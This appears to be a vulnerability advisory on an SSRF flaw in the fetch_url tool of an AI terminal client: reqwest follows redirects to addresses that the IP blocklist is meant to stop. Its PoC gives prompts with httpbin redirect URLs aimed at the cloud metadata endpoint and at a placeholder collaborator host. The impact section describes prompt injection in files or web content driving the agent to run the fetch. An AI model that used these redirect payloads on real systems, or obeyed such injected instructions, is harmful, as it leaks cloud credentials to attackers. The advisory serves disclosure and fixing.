DeepSeek TUI has SSRF via HTTP Redirect Bypass in fetch_url Tool

Summary

The fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections.

PoC

Step 1 — Baseline: Confirm fetch_url blocks direct requests to restricted IPs.

Prompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/
Expected: Error — "restricted address (private/loopback/link-local)"

Step 2 — SSRF bypass via redirect: Fetch a public URL that redirects to the restricted IP.

Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302

Expected result: The error message says "connection refused" or "request failed: connect error" — NOT "restricted address." This proves the SSRF filter was bypassed; the connection failed only because 169.254.169.254 is unreachable from a non-cloud machine.

Observed result: fetch_url followed the 302 redirect and attempted to connect to 169.254.169.254. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.

Step 3 — Redirect to attacker-controlled host: Confirm attacker-controlled redirect targets are followed.

Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302
Expected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.

Impact

On cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting fetch_url to http://169.254.169.254/latest/meta-data/. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call fetch_url with an attacker-controlled URL.